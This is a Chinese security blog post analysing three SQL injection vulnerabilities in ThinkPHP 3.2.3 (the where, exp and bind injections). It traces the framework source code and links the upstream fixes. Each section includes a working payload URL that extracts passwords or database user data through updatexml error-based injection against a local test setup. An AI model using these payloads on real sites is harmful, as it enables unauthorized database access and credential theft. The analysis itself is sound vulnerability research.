1. 首页
  2. 代码审计

Thinkphp3 漏洞总结

先总结thinkphp3的漏洞

写在前文

thinkphp3.2.3 where注入

基础

thinkphp3版本路由格式

http://php.local/thinkphp3.2.3/index.php/Home/Index/index/id/1
                                模块/控制器/方法/参数

还可以用

http://php.local/thinkphp3.2.3/index.php?s=Home/Index/index/id/1

具体移步 https://www.kancloud.cn/manual/thinkphp/1711

thinkphp内置了几种方法,比如I(),M()等等

A 快速实例化Action类库
B 执行行为类
C 配置参数存取方法
D 快速实例化Model类库
F 快速简单文本数据存取方法
L 语言参数存取方法
M 快速高性能实例化模型
R 快速远程调用Action类方法
S 快速缓存存取方法
U URL动态生成和重定向方法
W 快速Widget输出方法

具体看 ThinkPHP/Common/functions.php

配置环境

首先配置好数据库
ThinkPHP/Conf/convention.php

/* 数据库设置 */
'DB_TYPE'                => 'mysql', // 数据库类型
'DB_HOST'                => 'localhost', // 服务器地址
'DB_NAME'                => 'thinkphp', // 数据库名
'DB_USER'                => 'root', // 用户名
'DB_PWD'                 => 'root', // 密码
'DB_PORT'                => '3306', // 端口

image
然后访问 http://php.local/thinkphp3.2.3/ 会自动生成模块,当前目录结构
太多了,展开查看
PS E:codephpthinkphpthinkphp3.2.3> tree
卷 文档 的文件夹 PATH 列表
卷序列号为 DA18-EBFA
E:.
├─.idea
├─Application            应用目录
│  ├─Common           公共模块
│  │  ├─Common
│  │  └─Conf
│  ├─Home                首页模块
│  │  ├─Common
│  │  ├─Conf
│  │  ├─Controller
│  │  ├─Model
│  │  └─View
│  └─Runtime             运行时
│      ├─Cache
│      │  └─Home
│      ├─Data
│      ├─Logs
│      │  └─Home
│      └─Temp
├─Public
└─ThinkPHP             核心
    ├─Common
    ├─Conf
    ├─Lang
    ├─Library
    │  ├─Behavior
    │  ├─Org
    │  │  ├─Net
    │  │  └─Util
    │  ├─Think
    │  │  ├─Cache
    │  │  │  └─Driver
    │  │  ├─Controller
    │  │  ├─Crypt
    │  │  │  └─Driver
    │  │  ├─Db
    │  │  │  └─Driver
    │  │  ├─Image
    │  │  │  └─Driver
    │  │  ├─Log
    │  │  │  └─Driver
    │  │  ├─Model
    │  │  ├─Session
    │  │  │  └─Driver
    │  │  ├─Storage
    │  │  │  └─Driver
    │  │  ├─Template
    │  │  │  ├─Driver
    │  │  │  └─TagLib
    │  │  ├─Upload
    │  │  │  └─Driver
    │  │  │      ├─Bcs
    │  │  │      └─Qiniu
    │  │  └─Verify
    │  │      ├─bgs
    │  │      └─zhttfs
    │  └─Vendor
    │      ├─Boris
    │      ├─EaseTemplate
    │      ├─Hprose
    │      ├─jsonRPC
    │      ├─phpRPC
    │      │  ├─dhparams
    │      │  └─pecl
    │      │      └─xxtea
    │      │          └─test
    │      ├─SmartTemplate
    │      ├─Smarty
    │      │  ├─plugins
    │      │  └─sysplugins
    │      ├─spyc
    │      │  ├─examples
    │      │  ├─php4
    │      │  └─tests
    │      └─TemplateLite
    │          └─internal
    ├─Mode                  模型
    │  ├─Api
    │  ├─Lite
    │  └─Sae
    └─Tpl

配置控制器

Application/Home/Controller/IndexController.class.php

public function index()
{
$data = M('users')->find(I('GET.id'));
var_dump($data);
}

image

payload

http://php.local/thinkphp3.2.3/?id[where]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)#

分析

当我们简单传入id=1'时,跟着走一遍

I()函数中获取参数,会经过ThinkPHP/Common/functions.php:391 htmlspecialchars()进行处理,最后在ThinkPHP/Common/functions.php:442回调think_filter函数进行过滤

function think_filter(&$value)
{
    // TODO 其他安全过滤

    // 过滤查询特殊字符
    if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
        $value .= ' ';
    }
}

然后进入ThinkPHP/Library/Think/Model.class.php:779find()方法,又会经过ThinkPHP/Library/Think/Model.class.php:811 _parseOptions()方法

image
到这我们的id还是为1'
image
跟进_parseOptions() ThinkPHP/Library/Think/Model.class.php:681
其中有类型验证_parseType()函数
// 字段类型验证
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
    // 对数组查询条件进行字段类型检查
    foreach ($options['where'] as $key => $val) {
        $key = trim($key);
        if (in_array($key, $fields, true)) {
            if (is_scalar($val)) {
                $this->_parseType($options['where'], $key);
            }
        } elseif (!is_numeric($key) && '_' != substr($key, 0, 1) && false === strpos($key, '.') && false === strpos($key, '(') && false === strpos($key, '|') && false === strpos($key, '&')) {
            if (!empty($this->options['strict'])) {
                E(L('_ERROR_QUERY_EXPRESS_') . ':[' . $key . '=>' . $val . ']');
            }
            unset($options['where'][$key]);
        }
    }
}

如果满足if条件则进入 ThinkPHP/Library/Think/Model.class.php:737

protected function _parseType(&$data, $key)
{
    if (!isset($this->options['bind'][':' . $key]) && isset($this->fields['_type'][$key])) {
        $fieldType = strtolower($this->fields['_type'][$key]);
        if (false !== strpos($fieldType, 'enum')) {
            // 支持ENUM类型优先检测
        } elseif (false === strpos($fieldType, 'bigint') && false !== strpos($fieldType, 'int')) {
            $data[$key] = intval($data[$key]);
        } elseif (false !== strpos($fieldType, 'float') || false !== strpos($fieldType, 'double')) {
            $data[$key] = floatval($data[$key]);
        } elseif (false !== strpos($fieldType, 'bool')) {
            $data[$key] = (bool) $data[$key];
        }
    }
}

在这他把id进行了强制类型转换,然后返回给_parseOptions(),最终带入$this->db->select($options)进行查询避免了注入问题。

理一下 传入id=1' -> I() -> find() -> _parseOptions() -> _parseType() 然后将我们的字符串清理了。
要知道id参数被改变的时间点在_parseType()中,那进入这个方法要满足

if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))

所以传入index.php?id[where]=3 and 1=1就可以注入了

修复

https://github.com/top-think/thinkphp/commit/9e1db19c1e455450cfebb8b573bb51ab7a1cef04

image

v3.2.4$options$this->options进行了区分,从而传入的参数无法污染到$this->options,也就无法控制sql语句了。

thinkphp 3.2.3 exp注入

payload

image
http://php.local/thinkphp3.2.3/index.php?username[0]=exp&username[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)

环境

public function index()
{
    $User = D('Users');
    $map = array('username' => $_GET['username']);
    // $map = array('username' => I('username'));
    $user = $User->where($map)->find();
    var_dump($user);
}

我们使用全局数组传参,而不是I()函数。下文会解释

分析

打断点分析,find()函数会执行到ThinkPHP/Library/Think/Model.class.php:822$this->db->select($options)

public function select($options = array())
{
    $this->model = $options['model'];
    $this->parseBind(!empty($options['bind']) ? $options['bind'] : array());
    $sql    = $this->buildSelectSql($options);
    $result = $this->query($sql, !empty($options['fetch_sql']) ? true : false);
    return $result;
}

然后跟进buildSelectSql()

public function buildSelectSql($options = array())
{
    if (isset($options['page'])) {
        // 根据页数计算limit
        list($page, $listRows) = $options['page'];
        $page                  = $page > 0 ? $page : 1;
        $listRows              = $listRows > 0 ? $listRows : (is_numeric($options['limit']) ? $options['limit'] : 20);
        $offset                = $listRows * ($page - 1);
        $options['limit']      = $offset . ',' . $listRows;
    }
    $sql = $this->parseSql($this->selectSql, $options);
    return $sql;
}

跟进$this->parseSql()

public function parseSql($sql, $options = array())
{
    $sql = str_replace(
        array('%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'),
        array(
            $this->parseTable($options['table']),
            $this->parseDistinct(isset($options['distinct']) ? $options['distinct'] : false),
            $this->parseField(!empty($options['field']) ? $options['field'] : '*'),
            $this->parseJoin(!empty($options['join']) ? $options['join'] : ''),
            $this->parseWhere(!empty($options['where']) ? $options['where'] : ''),
            $this->parseGroup(!empty($options['group']) ? $options['group'] : ''),
            $this->parseHaving(!empty($options['having']) ? $options['having'] : ''),
            $this->parseOrder(!empty($options['order']) ? $options['order'] : ''),
            $this->parseLimit(!empty($options['limit']) ? $options['limit'] : ''),
            $this->parseUnion(!empty($options['union']) ? $options['union'] : ''),
            $this->parseLock(isset($options['lock']) ? $options['lock'] : false),
            $this->parseComment(!empty($options['comment']) ? $options['comment'] : ''),
            $this->parseForce(!empty($options['force']) ? $options['force'] : ''),
        ), $sql);
    return $sql;
}

这部分是通过parse系列函数来构建SQL语句,我们的关注点在parseWhere()函数,跟进到
ThinkPHP/Library/Think/Db/Driver.class.php:586parseWhereItem()

image
关键点就在于
elseif ('bind' == $exp) {
    // 使用表达式
    $whereStr .= $key . ' = :' . $val[1];
} elseif ('exp' == $exp) {
    // 使用表达式
    $whereStr .= $key . ' ' . $val[1];
}

在exp的那个elseif语句中把where条件直接用点拼接,造成SQL注入。让我们来分析下怎么进入到这个语句块,首先在parseWhere()中是肯定会进入parseWhereItem()方法中,这是无可厚非的。再来看

image
要满足$val是数组,并且索引为0的值为字符串’exp’,那么就可以拼接sql语句了。所以我们传入username[0]=exp&username[1]==1 and aaa
细心的同学会发现bind也是拼接的,下文分析。

然后我们来说下为什么不用I()函数来获取参数,而使用原生超全局数组。在I()函数中,最后回调了一个think_filter()函数

is_array($data) && array_walk_recursive($data, 'think_filter');
function think_filter(&$value)
{
    // TODO 其他安全过滤

    // 过滤查询特殊字符
    if (preg_match('/^(NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
        $value .= ' ';
    }
}

可以看到过滤了EXP字符串,会在后面拼接上一个空格,那这样后面parseWhereItem()中就不满足条件抛出异常导致无法注入。

修复

使用I()函数代替超全局数组获取变量

thinkphp 3.2.3 bind注入

上文中写到了exp注入,这篇讲bind注入

payload

http://php.local/thinkphp3.2.3/index.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1

这里需要注意id[1]=0原理在下面说

搭建环境

public function index()
{
    $User = M("Users");
    $user['id'] = I('id');
    $data['password'] = I('password');
    $valu = $User->where($user)->save($data);
    var_dump($valu);
}

输入payload,为了讲解上文中id[1]=0的原理,我们输入payload

http://php.local/thinkphp3.2.3/index.php?id[0]=bind&id[1]=aa&password=1

报错

image

打断点在save()函数

image

跟进后进入update()函数ThinkPHP/Library/Think/Db/Driver.class.php:983

image

可以看到经过了parseWhere(),那么根据上文我们分析过的exp注入,知道还有一个bind注入,所以传入id[0]=bind&id[1]=aa然后我们的sql语句就变为

image

可以看到多了个冒号,在哪里替换了这个冒号?我们进入到
ThinkPHP/Library/Think/Db/Driver.class.php:207execute()

if (!empty($this->bind)) {
    $that           = $this;
    $this->queryStr = strtr($this->queryStr, array_map(function ($val) use ($that) { return ''' . $that->escapeString($val) . ''';}, $this->bind));
}

这几行就是替换操作,是将:0替换为外部传进来的字符串,所以我们让我们的参数也等于0,这样就拼接了一个:0,然后会通过strtr()被替换为1,这样sql语句就通顺了。

image

修复

https://github.com/top-think/thinkphp/commit/7e47e34af72996497c90c20bcfa3b2e1cedd7fa4

image

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。

原创文章,作者:Y4er,未经授权禁止转载!如若转载,请联系作者:Y4er

联系我们

在线咨询:点击这里给我发消息

QR code